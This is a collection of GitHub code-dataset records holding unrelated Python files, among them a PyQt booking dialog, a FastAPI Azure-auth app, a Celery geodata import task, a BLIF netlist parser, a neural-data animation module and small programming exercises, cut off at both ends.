str(hour) + \":\" + str(min) + \" \" + ampm\r\n msg.setIcon(QMessageBox.Information)\r\n msg.setWindowIcon(QtGui.QIcon('strava.jpg'))\r\n msg.setWindowTitle(\"Interview Booking\")\r\n msg.setText(\"Your interview date has been booked. \\n\\n Date: \" + strDate +\r\n \"\\n Time: \" + str(timeSelected))\r\n msg.exec_()\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\r\n self.pushButton.setText(_translate(\"MainWindow\", \"Submit\"))\r\n self.label.setText(_translate(\"MainWindow\", \"Select Your Interview Time\"))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n MainWindow = QtWidgets.QMainWindow()\r\n ui = Ui_MainWindow()\r\n ui.setupUiInterview(MainWindow)\r\n MainWindow.show()\r\n sys.exit(app.exec_())\r\n","repo_name":"Denise-R/dataDonation","sub_path":"dataDonation/interview.py","file_name":"interview.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30654197229","text":"\nfrom typing import Union\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom typing import Union\nfrom pydantic import AnyHttpUrl, BaseSettings, Field\nfrom fastapi_azure_auth import SingleTenantAzureAuthorizationCodeBearer\n\nclass Settings(BaseSettings):\n SECRET_KEY: str = Field('my super secret key', env='SECRET_KEY')\n BACKEND_CORS_ORIGINS: list[Union[str, AnyHttpUrl]] = ['http://localhost:8000']\n OPENAPI_CLIENT_ID: str = Field(default='', env='OPENAPI_CLIENT_ID')\n APP_CLIENT_ID: str = Field(default='', env='APP_CLIENT_ID')\n TENANT_ID: str = Field(default='', env='TENANT_ID')\n\n class Config:\n env_file = '.env'\n env_file_encoding = 'utf-8'\n case_sensitive = True\n\nsettings = Settings()\napp = FastAPI(\n swagger_ui_oauth2_redirect_url='/oauth2-redirect',\n swagger_ui_init_oauth={\n 'usePkceWithAuthorizationCodeGrant': True,\n 'clientId': settings.OPENAPI_CLIENT_ID,\n },\n)\n\nif settings.BACKEND_CORS_ORIGINS:\n app.add_middleware(\n CORSMiddleware,\n allow_origins=[str(origin) for origin in settings.BACKEND_CORS_ORIGINS],\n allow_credentials=True,\n allow_methods=['*'],\n allow_headers=['*'],\n )\n\nazure_scheme = SingleTenantAzureAuthorizationCodeBearer(\n app_client_id=settings.APP_CLIENT_ID,\n tenant_id=settings.TENANT_ID,\n scopes={\n f'api://{settings.APP_CLIENT_ID}/user_impersonation': 'user_impersonation',\n }\n)\n\n@app.on_event('startup')\nasync def load_config() -> None:\n \"\"\"\n Load OpenID config on startup.\n \"\"\"\n await azure_scheme.openid_config.load_config()\n\n@app.get(\"/\")\ndef read_root():\n return {\"Hello\": \"World\"}\n\n\n@app.get(\"/items/{item_id}\")\ndef read_item(item_id: int, q: Union[str, None] = None):\n return {\"item_id\": item_id, \"q\": q}\n","repo_name":"phoenixClairvoyant/pendatuk","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10414535098","text":"from exchanges.binance.client import SocketManager\n\ndefault_tickers = ['WTCBTC', 'NEOBTC', 'ETHBTC','BCCBTC', 'EVXBTC', 'LTCBTC',\n 'QTUMBTC', 'STRATBTC', 'OMGBTC', 'IOTABTC']\n\nif __name__ == \"__main__\":\n # Create binance socket manager and stream to mongo instance called demo.dashboard\n binance_data_stream = SocketManager(symbols=default_tickers,\n data_lib='demo.dashboard')\n binance_data_stream.stream_orderbook(write=True)","repo_name":"carpntr/cda","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"2963401787","text":"from celery.utils.log import get_task_logger\n\nimport crs as crs_def\nfrom layman.celery import AbortedException\nfrom layman.common import empty_method_returns_true\nfrom layman import celery_app, util as layman_util, settings\nfrom layman.http import LaymanError\nfrom . import table\nfrom .. import db, LAYER_TYPE\n\n\nlogger = get_task_logger(__name__)\n\nrefresh_table_needed = empty_method_returns_true\n\n\n@celery_app.task(\n name='layman.layer.db.table.refresh',\n bind=True,\n base=celery_app.AbortableTask\n)\ndef refresh_table(\n self,\n workspace,\n layername,\n crs_id=None,\n original_data_source=settings.EnumOriginalDataSource.FILE.value,\n):\n db.ensure_workspace(workspace)\n if self.is_aborted():\n raise AbortedException\n\n if original_data_source == settings.EnumOriginalDataSource.TABLE.value:\n return\n publ_info = layman_util.get_publication_info(workspace, LAYER_TYPE, layername, context={'keys': ['file']})\n file_type = publ_info['_file']['file_type']\n if file_type == settings.GEODATA_TYPE_RASTER:\n return\n if file_type != settings.GEODATA_TYPE_VECTOR:\n raise NotImplementedError(f\"Unknown file type: {file_type}\")\n\n if self.is_aborted():\n raise AbortedException\n\n main_filepaths = list(path['gdal'] for path in publ_info['_file']['paths'].values())\n assert len(main_filepaths) == 1\n main_filepath = main_filepaths[0]\n table_name = db.get_internal_table_name(workspace, layername)\n\n for try_num in [1, 2]:\n if try_num == 1:\n processes = [db.import_layer_vector_file_to_internal_table_async(workspace, table_name, main_filepath, crs_id)]\n elif try_num == 2:\n processes = db.import_layer_vector_file_to_internal_table_async_with_iconv(workspace, table_name, main_filepath, crs_id)\n process = processes[-1]\n stdout, stderr = process.communicate()\n return_code = process.poll()\n if self.is_aborted():\n logger.info(f'terminating {workspace} {layername}')\n for proc in processes:\n proc.terminate()\n logger.info(f'deleting {workspace} {layername}')\n table.delete_layer(workspace, layername)\n raise AbortedException\n if return_code != 0 or stdout or stderr:\n info = table.get_layer_info(workspace, layername)\n if not info:\n str_error = str(stderr)\n str_out = str(stdout)\n logger.error(f\"STDOUT: {str(stdout)}\")\n logger.error(f\"STDERR: {str_error}\")\n if \"ERROR: zero-length delimited identifier at or near\" in str_out:\n err_code = 28\n elif 'ERROR: invalid byte sequence for encoding \"UTF8\":' in str_out:\n continue\n else:\n err_code = 11\n raise LaymanError(err_code, private_data=str_error)\n break\n\n crs = db.get_table_crs(workspace, table_name, use_internal_srid=True)\n if crs_def.CRSDefinitions[crs].internal_srid:\n table.set_internal_table_layer_srid(workspace, table_name, crs_def.CRSDefinitions[crs].internal_srid)\n","repo_name":"LayerManager/layman","sub_path":"src/layman/layer/db/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"44"} +{"seq_id":"12295135530","text":"from datetime import datetime\nfrom yards_py.core.base_entity import BaseEntity\nfrom yards_py.domain.entities.league import League\nfrom typing import Optional\n\nfrom yards_py.core.annotate_args import annotate_args\nfrom yards_py.domain.entities.matchup_preview import MatchupPreview, MatchupPreviewTeam\nfrom yards_py.domain.entities.roster import Roster\n\n\n@annotate_args\nclass UserLeaguePreview(BaseEntity):\n user_id: str\n league_name: str\n roster_name: str\n matchup: Optional[MatchupPreview]\n joined: datetime = datetime.now()\n\n def update_league(self, league: League):\n self.league_name = league.name\n\n def update_roster(self, roster: Roster):\n self.roster_name = roster.name\n if self.matchup and self.matchup.home and self.matchup.home.id == self.id:\n self.matchup.home.name = roster.name\n\n if self.matchup and self.matchup.away and self.matchup.away.id == self.id:\n self.matchup.away.name = roster.name\n\n @staticmethod\n def create(roster: Roster, league: League):\n preview = UserLeaguePreview(\n id=league.id,\n user_id=roster.id,\n league_name=league.name,\n roster_name=roster.name,\n matchup=MatchupPreview(\n home=MatchupPreviewTeam(\n id=roster.id,\n name=roster.name\n )\n ))\n\n return preview\n","repo_name":"mdryden/110yards","sub_path":"yards_py/domain/entities/user_league_preview.py","file_name":"user_league_preview.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"17397683637","text":"from time import perf_counter\nfrom pathlib import Path\n\nfrom allensdk.brain_observatory.behavior.behavior_project_cache import (\n VisualBehaviorNeuropixelsProjectCache,\n)\nfrom pynwb import NWBHDF5IO\n\nALLEN_DIR = Path(r\"D:\\example-data\\allen-data\")\nALLEN_MANIFEST = \"visual-behavior-neuropixels_project_manifest_v0.4.0.json\"\nEXAMPLE_SESSION = 1044385384\n\n\ndef timeit(name):\n def inner(func):\n def wrapper(*args, **kwargs):\n t1 = perf_counter()\n func(*args, **kwargs)\n t2 = perf_counter()\n\n print(f\"{name} took {t2 - t1:.2f} seconds\")\n\n return wrapper\n\n return inner\n\n\n@timeit(\"Allen SDK loader\")\ndef allen_example(cache):\n return cache.get_ecephys_session(EXAMPLE_SESSION)\n\n\n@timeit(\"NWB loader\")\ndef nwb_example(nwb_path):\n nwb_io = NWBHDF5IO(nwb_path, \"r\", load_namespaces=True)\n return nwb_io.read()\n\n\ndef main(cache_is_s3=True):\n if cache_is_s3:\n cache = VisualBehaviorNeuropixelsProjectCache.from_s3_cache(cache_dir=ALLEN_DIR)\n else:\n cache = VisualBehaviorNeuropixelsProjectCache.from_local_cache(\n cache_dir=ALLEN_DIR\n )\n cache.load_manifest(ALLEN_MANIFEST)\n\n nwb_path = (\n ALLEN_DIR\n / \"visual-behavior-neuropixels-0.4.0\"\n / \"behavior_ecephys_sessions\"\n / str(EXAMPLE_SESSION)\n / f\"ecephys_session_{EXAMPLE_SESSION}.nwb\"\n )\n\n nwb_example(nwb_path)\n allen_example(cache)\n\n allen_example(cache)\n nwb_example(nwb_path)\n\n\nmain(cache_is_s3=True)\nmain(cache_is_s3=False)\n","repo_name":"seankmartin/task-related-neural-activity","sub_path":"examples/time_loading.py","file_name":"time_loading.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23749443536","text":"from typing import List, Optional\r\n\r\ntry:\r\n from . import fsm\r\n from . import subfiles\r\nexcept (ModuleNotFoundError, ImportError):\r\n import fsm # type: ignore\r\n import subfiles # type: ignore\r\n\r\n\r\nclass Model:\r\n def __init__(self, modelname: str):\r\n \"\"\"\r\n Defines a .model keyword object.\r\n\r\n Validation checks:\r\n * modelname needs to be a string\r\n * modelname needs to contain something (spaces are not accepted)\r\n \"\"\"\r\n if not isinstance(modelname, str):\r\n raise TypeError(\"'{}' is not a string\".format(modelname))\r\n\r\n self.name = modelname.strip()\r\n\r\n if \" \" in self.name or self.name == \"\":\r\n raise ValueError(\".model accepts (and needs) only one parameter (the parameter can't contain spaces)\")\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n return \"Model('\" + self.name + \"')\"\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n return \".model \" + self.name\r\n\r\n\r\nclass Inputs:\r\n def __init__(self, inputstring: str):\r\n \"\"\"\r\n Defines a .inputs keyword object.\r\n\r\n Validation checks:\r\n * inputstring needs to be a string\r\n > inputs are separated by spaces\r\n \"\"\"\r\n if not isinstance(inputstring, str):\r\n raise TypeError(\"'{}' is not a string\".format(inputstring))\r\n\r\n self.inputs = [i for i in inputstring.split(\" \") if i != \"\"]\r\n\r\n if len(self.inputs) == 0:\r\n raise ValueError(\".inputs keyword expects at least one parameter\")\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n return \"Inputs('\" + \" \".join(self.inputs) + \"')\"\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n return \".inputs \" + \" \".join(self.inputs)\r\n\r\n\r\nclass Outputs:\r\n def __init__(self, outputstring: str):\r\n \"\"\"\r\n Defines a .outputs keyword object.\r\n\r\n Validation checks:\r\n * outputstring needs to be a string\r\n > outputs are separated by spaces\r\n \"\"\"\r\n if not isinstance(outputstring, str):\r\n raise TypeError(\"'{}' is not a string\".format(outputstring))\r\n\r\n self.outputs = [i for i in outputstring.split(\" \") if i != \"\"]\r\n\r\n if len(self.outputs) == 0:\r\n raise ValueError(\".outputs keyword expects at least one parameter\")\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n return \"Outputs('\" + \" \".join(self.outputs) + \"')\"\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n return \".outputs \" + \" \".join(self.outputs)\r\n\r\n\r\nclass Names:\r\n def __init__(self, params: str, dontcare: bool):\r\n \"\"\"\r\n Defines a .names keyword object.\r\n\r\n Validation checks:\r\n * params needs to be a string\r\n > the last parameter in the string is the output\r\n * dontcare needs to be a boolean\r\n\r\n If dontcare is true, the output\r\n represents a don't care.\r\n \"\"\"\r\n if not isinstance(params, str):\r\n raise TypeError(\"'{}' is not a string\".format(params))\r\n\r\n if not isinstance(dontcare, bool):\r\n raise TypeError(\"'{}' is not a boolean\".format(dontcare))\r\n\r\n self.v_params = [param for param in params.split(\" \") if param != \"\"]\r\n\r\n if len(self.v_params) == 0:\r\n raise ValueError(\"params should contain at least one parameter\")\r\n\r\n self.truthtable: List[List[str]] = []\r\n self.is_dontcare = dontcare\r\n\r\n self.inputs = self.v_params[:-1] # get all parameters but the last one (returns [] when there's only one parameter in v_params)\r\n self.output = self.v_params[-1] # get the last parameter\r\n\r\n def is_valid(self) -> bool: # noqa: C901\r\n \"\"\"\r\n Validates data in the Names() object.\r\n\r\n Validation steps:\r\n - make sure that self.inputs is a list of strings\r\n - make sure that self.output is a string\r\n - make sure that self.is_dontcare is a boolean\r\n - make sure that self.truthtable is a list\r\n - make sure that each row of the truthtable is a list of strings with at least one string\r\n - check that each row has the expected number of elements\r\n - check that the inputs specified in each row are made of \"0\"s, \"1\"s and/or \"-\"s\r\n - check that the output specified in each row is a \"0\" or a \"1\"\r\n \"\"\"\r\n # be sure that self.inputs is a list of strings\r\n if not isinstance(self.inputs, list):\r\n raise TypeError(\"Something went wrong: self.inputs should be a list\")\r\n\r\n for el in self.inputs:\r\n if not isinstance(el, str):\r\n raise TypeError(\"Something went wrong: '{}' self.inputs element should be a string\".format(el))\r\n\r\n # be sure that self.output is a string\r\n if not isinstance(self.output, str):\r\n raise TypeError(\"Something went wrong: '{}' self.output should be a string\".format(self.output))\r\n\r\n # be sure that self.is_dontcare stays a boolean\r\n if not isinstance(self.is_dontcare, bool):\r\n raise TypeError(\"Something went wrong: '{}' self.is_dontcare is not a boolean\".format(self.is_dontcare))\r\n\r\n # validate the truth table\r\n if not isinstance(self.truthtable, list):\r\n raise TypeError(\"Something went wrong: self.truthtable should be a list\")\r\n\r\n expected_el_num = len(self.inputs) + 1\r\n\r\n for row in self.truthtable:\r\n if not isinstance(row, list):\r\n raise TypeError(\"row '{}' is not a list (under '{}')\".format(row, self.__str__()))\r\n\r\n if len(row) == 0:\r\n raise ValueError(\"the truthtable must not contain empty rows\")\r\n\r\n for el in row:\r\n if not isinstance(el, str):\r\n raise TypeError(\"'{}' element is not a string (in '{}' under '{}')\".format(el, row, self.__str__()))\r\n\r\n formatted_row = \"\".join(row[:-1]) + \" \" + row[-1]\r\n if len(row) != expected_el_num:\r\n raise ValueError(\r\n \"'{}' row should have {} inputs + 1 output: found {} instead \"\r\n \"(under '{}')\".format(\r\n formatted_row,\r\n len(self.inputs),\r\n len(row),\r\n self.__str__()\r\n )\r\n )\r\n\r\n for el in row[:-1]:\r\n if el not in [\"0\", \"1\", \"-\"]:\r\n raise ValueError(\"Found unexpected char '{}' as input in row '{}' \"\r\n \"(under '{}'), only '1', '0' and '-' \"\r\n \"are accepted\".format(el, formatted_row, self.__str__()))\r\n\r\n if row[-1] not in [\"0\", \"1\"]:\r\n raise ValueError(\"Found unexpected char '{}' as output in row '{}' \"\r\n \"(under '{}'), only '1' and '0' \"\r\n \"are accepted\".format(el, formatted_row, self.__str__()))\r\n\r\n return True\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n return \"Names('\" + \" \".join(self.inputs) + \" \" + self.output + \"', \" + str(self.is_dontcare) + \")\"\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n names = \"\"\r\n if self.is_dontcare:\r\n names = \".exdc\\n\"\r\n\r\n names += \".names \" + \" \".join(self.inputs) + \" \" + self.output\r\n\r\n if len(self.truthtable) > 0:\r\n names += \"\\n\"\r\n for row in self.truthtable:\r\n formatted_row = \"\".join(row[:-1]) + \" \" + row[-1]\r\n names += formatted_row + \"\\n\"\r\n\r\n return names\r\n\r\n\r\nclass Latch:\r\n def __init__(self, params: str): # noqa: C901\r\n \"\"\"\r\n Defines a .latch keyword object.\r\n\r\n A latch as between 2 and 5 parameters. These are all the possible combinations:\r\n - input, output\r\n - input, output, initial register value\r\n - input, output, latch type, control clock\r\n - input, output, latch type, control clock, initial register value\r\n\r\n (when specified) the latch type must be one of the following values: [\"fe\", \"re\", \"ah\", \"al\", \"as\"]\r\n (when specified) the initial register value must be one of the following values: ['0', '1', '2', '3']\r\n > note: 2 and 3 are not the actual values stored inside the register. They represent don't care (2) and unknown (3).\r\n \"\"\"\r\n if not isinstance(params, str):\r\n raise TypeError(\"'{}' is not a string\".format(params))\r\n\r\n self.v_params = [param for param in params.split(\" \") if param != \"\"]\r\n\r\n self.problems = []\r\n self.type = None\r\n self.control = None\r\n self.initval = None\r\n\r\n # set the correct attributes based on the number of parameters\r\n if len(self.v_params) < 2:\r\n raise Exception(\"You need to specify at least an input and an output\")\r\n\r\n elif len(self.v_params) == 2:\r\n self.problems.append(\r\n \"WARNING: you should specify the initial value \"\r\n \"(otherwise you'll need to set it later using the set_state command)\"\r\n )\r\n\r\n elif len(self.v_params) == 3:\r\n self.initval = self.v_params[2]\r\n\r\n elif len(self.v_params) == 4:\r\n self.type = self.v_params[2]\r\n self.control = self.v_params[3]\r\n\r\n elif len(self.v_params) == 5:\r\n self.type = self.v_params[2]\r\n self.control = self.v_params[3]\r\n self.initval = self.v_params[4]\r\n\r\n elif len(self.v_params) > 5:\r\n raise Exception(\"Too many parameters (correct usage is: .latch [ ] [])\")\r\n\r\n # set as values the parameters that must be specified\r\n self.input = self.v_params[0]\r\n self.output = self.v_params[1]\r\n\r\n # check if parameters have correct values\r\n\r\n if self.type:\r\n if self.type not in [\"fe\", \"re\", \"ah\", \"al\", \"as\"]:\r\n raise ValueError(\" should be one of these values: ['fe', 're', 'ah', 'al', 'as']\")\r\n\r\n if self.initval:\r\n if self.initval not in [\"0\", \"1\", \"2\", \"3\"]:\r\n raise ValueError(\" should be one of these values: ['0', '1', '2', '3']\")\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n latch = \"Latch('\" + self.input + \" \" + self.output\r\n \r\n if self.type and self.control:\r\n # .latch ...\r\n latch += \" \" + self.type + \" \" + self.control\r\n \r\n if self.initval:\r\n # .latch or\r\n # .latch \r\n latch += \" \" + self.initval\r\n\r\n latch += \"')\"\r\n return latch\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n latch = \".latch \" + self.input + \" \" + self.output\r\n\r\n if self.type and self.control:\r\n # .latch ...\r\n latch += \" \" + self.type + \" \" + self.control\r\n\r\n if self.initval:\r\n # .latch or\r\n # .latch \r\n latch += \" \" + self.initval\r\n\r\n return latch\r\n\r\n\r\nclass Blif:\r\n def __init__(self) -> None:\r\n \"\"\"\r\n Represents the parsed BLIF file.\r\n \"\"\"\r\n self.model: Optional[Model] = None\r\n self.inputs: Optional[Inputs] = None\r\n self.outputs: Optional[Outputs] = None\r\n self.fsm = fsm.Fsm()\r\n self.imports: List[subfiles.Search] = []\r\n self.subcircuits: List[subfiles.Subckt] = []\r\n self.latches: List[Latch] = []\r\n self.booleanfunctions: List[Names] = []\r\n self.problems: List[str] = []\r\n\r\n self.nkeywords = {\r\n \".model\": 0,\r\n \".inputs\": 0,\r\n \".outputs\": 0,\r\n \".search\": 0,\r\n \".subckt\": 0,\r\n \".latch\": 0,\r\n \".names\": 0,\r\n \".end\": 0,\r\n \".start_kiss\": 0,\r\n \".i\": 0,\r\n \".o\": 0,\r\n \".s\": 0,\r\n \".p\": 0,\r\n \".r\": 0,\r\n \".end_kiss\": 0,\r\n \".default_input_arrival\": 0,\r\n \".default_output_required\": 0,\r\n \".default_input_drive\": 0,\r\n \".default_output_load\": 0,\r\n \".default_max_input_load\": 0,\r\n \".latch_order\": 0,\r\n \".code\": 0,\r\n \".exdc\": 0\r\n }\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n blif = self.model.__str__() + \"\\n\"\r\n blif += self.inputs.__str__() + \"\\n\"\r\n blif += self.outputs.__str__() + \"\\n\"\r\n blif += \"\\n\"\r\n\r\n if self.fsm.ispresent:\r\n blif += self.fsm.__str__() + \"\\n\"\r\n else:\r\n for imported_file in self.imports:\r\n blif += imported_file.__str__() + \"\\n\"\r\n\r\n for circuit in self.subcircuits:\r\n blif += circuit.__str__() + \"\\n\"\r\n\r\n for latch in self.latches:\r\n blif += latch.__str__() + \"\\n\"\r\n\r\n for function in self.booleanfunctions:\r\n blif += function.__str__() + \"\\n\"\r\n\r\n blif += \".end\\n\"\r\n\r\n return blif\r\n","repo_name":"mario33881/blifparser","sub_path":"blifparser/keywords/generic.py","file_name":"generic.py","file_ext":"py","file_size_in_byte":13454,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"22575699605","text":"#!/usr/bin/env python3\n\n# Don't modify the below hack\ntry:\n from src import triangle\nexcept ModuleNotFoundError:\n import triangle\n\ndef main():\n # Call the functions from here\n\n # Call the hypotenuse function\n side1 = 3\n side2 = 4\n hypotenuse_length = triangle.hypotenuse(side1, side2)\n print(f'The hypotenuse length is {hypotenuse_length:.2f}')\n return hypotenuse_length\n\n # Call the area function\n base = 5\n height = 10\n area = triangle.area(base, height)\n print(f'The area of the triangle is {area:.2f}')\n return area\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AsparAugustus/mooc-data-analysis-with-python-2022","sub_path":"part1/part01-e20_usemodule/src/usemodule.py","file_name":"usemodule.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41432360200","text":"import os\nimport time\nfrom multiprocessing import Process\nimport numpy as np\nfrom pyqtgraph.Qt import QtCore\n\nfrom traits.api import Button, Enum, Bool, Int, File\nfrom traitsui.api import View, VGroup, HGroup, UItem, \\\n Item, FileEditor, RangeEditor\nfrom pyface.timer.api import Timer\n\nimport ecoglib.vis.ani as ani\n\nfrom .base import VisModule, colormaps\nfrom ..helpers import Error, validate_file_path\nfrom .. import pyf_new_api\n\n__all__ = ['AnimateInterval']\n\n\nclass AnimateInterval(VisModule):\n name = 'Animate window'\n anim_frame = Button('Animate')\n anim_time_scale = Enum(50, [0.1, 0.5, 1, 5, 10, 20, 50, 100, 200, 500])\n _has_ffmpeg = Bool(False)\n write_frames = Button('Write movie')\n drop_video_frames = Int(1)\n video_file = File(\n os.path.join(os.path.abspath(os.curdir), 'vid.mp4')\n )\n cmap = Enum('gray', colormaps)\n clim = Enum('display', ('display', '[2-98]%', '[1-99]%', 'full'))\n\n def __init__(self, **traits):\n import matplotlib.animation as anim\n traits['_has_ffmpeg'] = 'ffmpeg' in anim.writers.list()\n super(AnimateInterval, self).__init__(**traits)\n\n def __step_frame(self):\n n = self.__n\n x = self.__x\n y = self.__y\n if n >= self.__n_frames:\n if pyf_new_api:\n self._atimer.stop()\n else:\n self._atimer.Stop()\n return\n t0 = time.time()\n scaled_dt = self.anim_time_scale * (x[1] - x[0])\n try:\n self.parent._qtwindow.set_image_frame(x=x[n], frame_vec=y[:, n])\n except IndexError:\n if pyf_new_api:\n self._atimer.stop()\n else:\n self._atimer.Stop()\n QtCore.QCoreApplication.instance().processEvents()\n # calculate the difference between the desired interval\n # and the time it just took to draw (per \"frame\")\n elapsed = time.time() - t0\n t_pause = scaled_dt - elapsed / self.__f_skip\n if t_pause < 0:\n self.__f_skip += 1\n else:\n # timer is in the middle of API change\n if pyf_new_api:\n self._atimer.interval = t_pause\n else:\n self._atimer.setInterval(t_pause * 1000.0)\n # check to see if the frame skip can be decreased (e.g.\n # real-time is slowed down)\n while elapsed / max(1, self.__f_skip - 1) < scaled_dt:\n self.__f_skip = max(1, self.__f_skip - 1)\n if self.__f_skip == 1:\n break\n self.__n += self.__f_skip\n\n def _anim_frame_fired(self):\n if hasattr(self, '_atimer'):\n if pyf_new_api and self._atimer.active:\n self._atimer.stop()\n return\n elif not pyf_new_api and self._atimer.IsRunning():\n self._atimer.Stop()\n return\n\n x, self.__y = self.curve_manager.interactive_curve.current_data(full_xdata=False)\n self.__f_skip = 1\n self.__x = x\n dt = self.__x[1] - self.__x[0]\n self.__n_frames = self.__y.shape[1]\n self.__n = 0\n self._atimer = Timer(self.anim_time_scale * dt * 1000,\n self.__step_frame)\n\n def _get_clim(self, array):\n if self.clim == 'full':\n return (array.min(), array.max())\n if self.clim.endswith('%'):\n clim = self.clim.replace('[', '').replace(']', '').replace('%', '')\n p_lo, p_hi = map(float, clim.split('-'))\n print(p_lo, p_hi)\n return np.percentile(array.ravel(), [p_lo, p_hi])\n else:\n clim = self.parent._qtwindow.cb.axis.range\n return clim[0] * 1e6, clim[1] * 1e6\n\n def _write_frames_fired(self):\n if not validate_file_path(self.video_file):\n ev = Error(\n error_msg='Invalid video file:\\n{0}'.format(self.video_file)\n )\n ev.edit_traits()\n return\n\n x, y = self.curve_manager.interactive_curve.current_data(full_xdata=False)\n y *= 1e6\n dt = x[1] - x[0]\n # fps is sampling frequency divided by time scale dilation\n fps = (dt * self.anim_time_scale) ** -1.0\n chan_map = self.chan_map\n if self.drop_video_frames > 1:\n x = x[::self.drop_video_frames]\n y = y[..., ::self.drop_video_frames]\n fps /= float(self.drop_video_frames)\n frames = chan_map.embed(y.T, axis=1)\n clim = self._get_clim(y)\n\n args = (frames, self.video_file)\n kwargs = dict(timer='s', time=x, fps=fps, title='Scroller video', quicktime=True, colorbar=True,\n cbar_label='uV', cmap=self.cmap, clim=clim, origin='upper', qtdpi=100)\n proc = Process(target=ani.write_frames, args=args, kwargs=kwargs)\n proc.start()\n\n def default_traits_view(self):\n v = View(\n HGroup(\n VGroup(\n Item('anim_time_scale', label='Divide real time'),\n Item('anim_frame'),\n label='Animate Frames'\n ),\n HGroup(\n VGroup(\n Item('video_file', label='MP4 File',\n editor=FileEditor(dialog_style='save')),\n UItem('write_frames')\n ),\n VGroup(\n Item('cmap', label='Colormap'),\n Item('clim', label='Color limit mode'),\n Item('drop_video_frames',\n label='Frame drop rate',\n editor=RangeEditor(low=1, high=100,\n mode='spinner')),\n ),\n visible_when='_has_ffmpeg'\n )\n )\n )\n return v\n","repo_name":"miketrumpis/lfp_scroller","sub_path":"fast_scroller/modules/animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":5891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39998576833","text":"ULTIMA_POSICAO = -1\nday_1 = int(input().split()[ULTIMA_POSICAO])\nh1, m1, s1 = map(int,input().split(':'))\n\nday_2 = int(input().split()[ULTIMA_POSICAO])\nh2, m2, s2 = map(int,input().split(':'))\n\nstart_in_seconds = (day_1 * 24 * 60 * 60) + (h1 * 60 * 60) + (m1 * 60) + s1\nfinal_in_seconds = (day_2 * 24 * 60 * 60) + (h2 * 60 * 60 ) + (m2 * 60) + s2\n\ndelta_time = final_in_seconds - start_in_seconds\n\n# 2 23:59:00 | 3 00:01:00\n# 2 5 3\n\n# print(time_in_sec_2 - time_in_sec_1)\n\nSECONDS_IN_ONE_DAY = (24 * 60 * 60)\nSECONDS_IN_ONE_HOUR = (60 * 60)\nSECONDS_IN_ONE_MINUTE = (60)\n\ndelta_days = delta_time // SECONDS_IN_ONE_DAY\ndelta_time -= delta_days * SECONDS_IN_ONE_DAY\n\ndelta_hours = delta_time // SECONDS_IN_ONE_HOUR\ndelta_time -= delta_hours * SECONDS_IN_ONE_HOUR\n\ndelta_minutes = delta_time // SECONDS_IN_ONE_MINUTE\ndelta_time -= delta_minutes * SECONDS_IN_ONE_MINUTE\n\ndelta_seconds = delta_time\n\n# for _ in range(time_in_sec_1, time_in_sec_2):\n# delta_seconds += 1\n# if delta_seconds == 60:\n# delta_minutes += 1\n# s = 0\n# if delta_minutes == 60:\n# delta_hours += 1\n# delta_minutes = 0\n# if delta_hours == 24:\n# delta_days += 1\n# delta_hours = 0\n\nprint(f\"{delta_days} Dias\",\n f\"{delta_hours} horas\",\n f\"{delta_minutes} minutos\",\n f\"{delta_seconds} sedundos\",\n sep = '\\n')","repo_name":"Hoogle-Education/Eduardo-Santos","sub_path":"reviews/1061.py","file_name":"1061.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38105712429","text":"import random\n\nclass Cards:\n suits = [\"diamond\", \"heart\", \"spade\", \"club\"]\n ranks = [['2', 2],\n ['3', 3],\n ['4', 4],\n ['5', 5],\n ['6', 6],\n ['7', 7],\n ['8', 8],\n ['9', 9],\n ['10', 10],\n ['J', 10],\n ['Q', 10],\n ['K', 10],\n ['A', 11]]\n mydeck = []\n\n def __init__(self):\n for i in self.suits:\n for j in self.ranks:\n self.mydeck.append([j, i])\n random.shuffle(self.mydeck)\n\n def print_deck(self):\n print(self.mydeck)\n\n def print_hello(self):\n print(\"Hello. Welcome to the game\")\n \n def deal_card(self):\n return 